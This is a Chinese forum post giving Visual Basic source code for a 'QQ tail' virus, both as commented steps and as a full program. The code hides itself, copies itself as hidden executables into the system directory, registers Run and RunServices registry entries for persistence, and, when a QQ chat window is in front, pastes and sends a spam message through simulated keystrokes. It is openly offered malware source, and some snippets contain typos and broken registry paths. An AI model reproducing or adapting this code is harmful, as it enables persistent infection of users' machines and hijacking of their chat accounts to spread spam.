找回密码
 立即注册
查看: 1455|回复: 0

QQ尾巴VB源代码

[复制链接]

6782

主题

8

回帖

2万

积分

管理员

积分
21779
发表于 2019-5-20 21:31:21 | 显示全部楼层 |阅读模式
'API声明: GetWindow ShowWindow
'常数: GW_OWNER SW_HIDE
Dim a As Long
a = GetWindow(Me.hwnd, GW_OWNER)
ShowWindow a, SW_HIDE
Me.Visible = False

'第二步: 取得系统目录路径!
'API声明: GetSystemDirectory
Dim b As String
b = Space(19)
GetSystemDirectory b, 20

'第三步: 修改注册表!
'API声明: RegCreateKey RegSetValueEx RegCloseKey
'常数: HKEY_LOCAL_MACHINE , REG_SZ
Dim c As String
Dim d As String
Dim e As Long
c = "SOFTWAREMicrosoftWindowsCurrentVersionRun"
d = b & "file32.exe"
RegCreateKey HKEY_LOCAL_MACHINE, c, e
RegSetValueEx e, "file32", 0, REG_SZ, ByVal d, Len(d)
RegCloseKey e

'第四步: 复制自己到系统目录下 , 并隐藏!
Dim f As String
f = App.Path & "" & App.EXEName & ".exe"
FileCopy f, d
SetAttr d, vbHidden

'第五步: 监视前台窗口!
'API声明: GetForegroundWindow GetWindowText
Dim g As Long
Dim h As String
h = Space(256)
g = GetForegroundWindow()
GetWindowText g, h, 255
'判断前台窗口是否QQ窗口,如果是就进入第六步,如果不是则继续监视
'这处代码应放在TIMER中!
If Left(h, 1) = "与" Then
call stup six(第六步)
End If

'第六步:设定剪切板内容,并模拟键盘(CTRL+V)粘贴,(ENTER or ENTER+CTRL)发送!
API声明: keybd_event
'常数: vk_control(&h11) vk_v(86) keyeventf_keyup(&h2)
Clipboard.Clear
Clipboard.SetText "恭喜你,高中了QQ尾巴病毒!"
keybd_ecent vk_control, 0, 0, 0
keybd_event 86, 0, 0, 0
keybd_ecent 86, 0, KEYEVENTF_KEYUP, 0
keybd_event vk_control, 0, KEYEVENTF_KEYUP, 0
keybd_ecent 13, 0, 0, 0
keybd_ecent 13, 0, KEYEVENTF_KEYUP, 0
keybd_event vk_control, 0, 0, 0
keybd_ecent 13, 0, 0, 0
keybd_event 13, 0, KEYEVENTF_KEYUP, 0
keybd_event vk_control, 0, KEYEVENTF_KEYUP, 0
Clipboard.Clear

完整代码如下:
Private Declare Function GetWindow Lib "user32" (ByVal hwnd As Long, ByVal wCmd As Long) As Long
Private Declare Function ShowWindow Lib "user32" (ByVal hwnd As Long, ByVal nCmdShow As Long) As Long
Private Const GW_OWNER = 4
Private Const SW_HIDE = 0
Private Declare Function GetSystemDirectory Lib "kernel32" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Private Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long ' Note that if you declare the lpData parameter as String, you must pass it By Value.
Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Private Const HKEY_LOCAL_MACHINE = &H80000002
Private Const REG_SZ = 1
Private Declare Function GetForegroundWindow Lib "user32" () As Long
Private Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Private Declare Sub keybd_event Lib "user32" (ByVal bVk As Byte, ByVal bScan As Byte, ByVal dwFlags As Long, ByVal dwExtraInfo As Long)
Private Const KEYEVENTF_KEYUP = &H2
Dim j As String
Dim k As String
Dim ii As Integer
Dim e, f As String

Private Sub Form_Load()
Dim a As Long
Dim b As String
Dim c, d As String
Dim e1 As String
Dim e2 As String
Dim f1, f2 As Long
Me.Visible = False
a = GetWindow(Me.hwnd, GW_OWNER)
ShowWindow a, SW_HIDE
b = Space(19)
GetSystemDirectory b, 20
c = "SOFTWAREMicrosoftWindowsCurrentVersionRun"
d = "SOFTWAREMicrosoftWindowsCurrentVersionRunServices"
e1 = b & "File32.exe"
e2 = Left(b, 11) & "Rencom.exe"
RegCreateKey HKEY_LOCAL_MACHINE, c, f1
RegSetValueEx f1, "File32", 0, REG_SZ, ByVal e1, Len(e1)
RegCloseKey f1
RegCreateKey HKEY_LOCAL_MACHINE, d, f2
RegSetValueEx f2, "Rencom", 0, REG_SZ, ByVal e2, Len(e2)
RegCloseKey f2
On Error Resume Next
Dim g As String
g = App.Path & "" & App.EXEName & ".exe"
FileCopy g, e1
SetAttr e1, vbHidden
FileCopy g, e2
SetAttr e2, vbHidden
e = e1
f = e2
End Sub

Private Sub Timer1_Timer()
ii = ii + 1
If ii = 1111 Then ii = 1
Dim h As Long
Dim i As String
h = GetForegroundWindow()
i = Space(256)
GetWindowText h, i, 255
If Left(i, 1) = "与" And ii Mod 20 = 8 Then
j = Space(256)
j = i
Call mer
End If
End Sub
Sub mer()
If k <> j Then
Clipboard.Clear
Clipboard.SetText "恭喜你,高中了QQ尾巴病毒!"
keybd_event &H11, 0, 0, 0
keybd_event 86, 0, 0, 0
keybd_event 86, 0, KEYEVENTF_KEYUP, 0
keybd_event &H11, 0, KEYEVENTF_KEYUP, 0
keybd_event 13, 0, 0, 0
keybd_event 13, 0, KEYEVENTF_KEYUP, 0
keybd_event &H11, 0, 0, 0
keybd_event 13, 0, 0, 0
keybd_event 13, 0, KEYEVENTF_KEYUP, 0
keybd_event &H11, 0, KEYEVENTF_KEYUP, 0
k = Space(256)
k = j
End If
End Sub
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表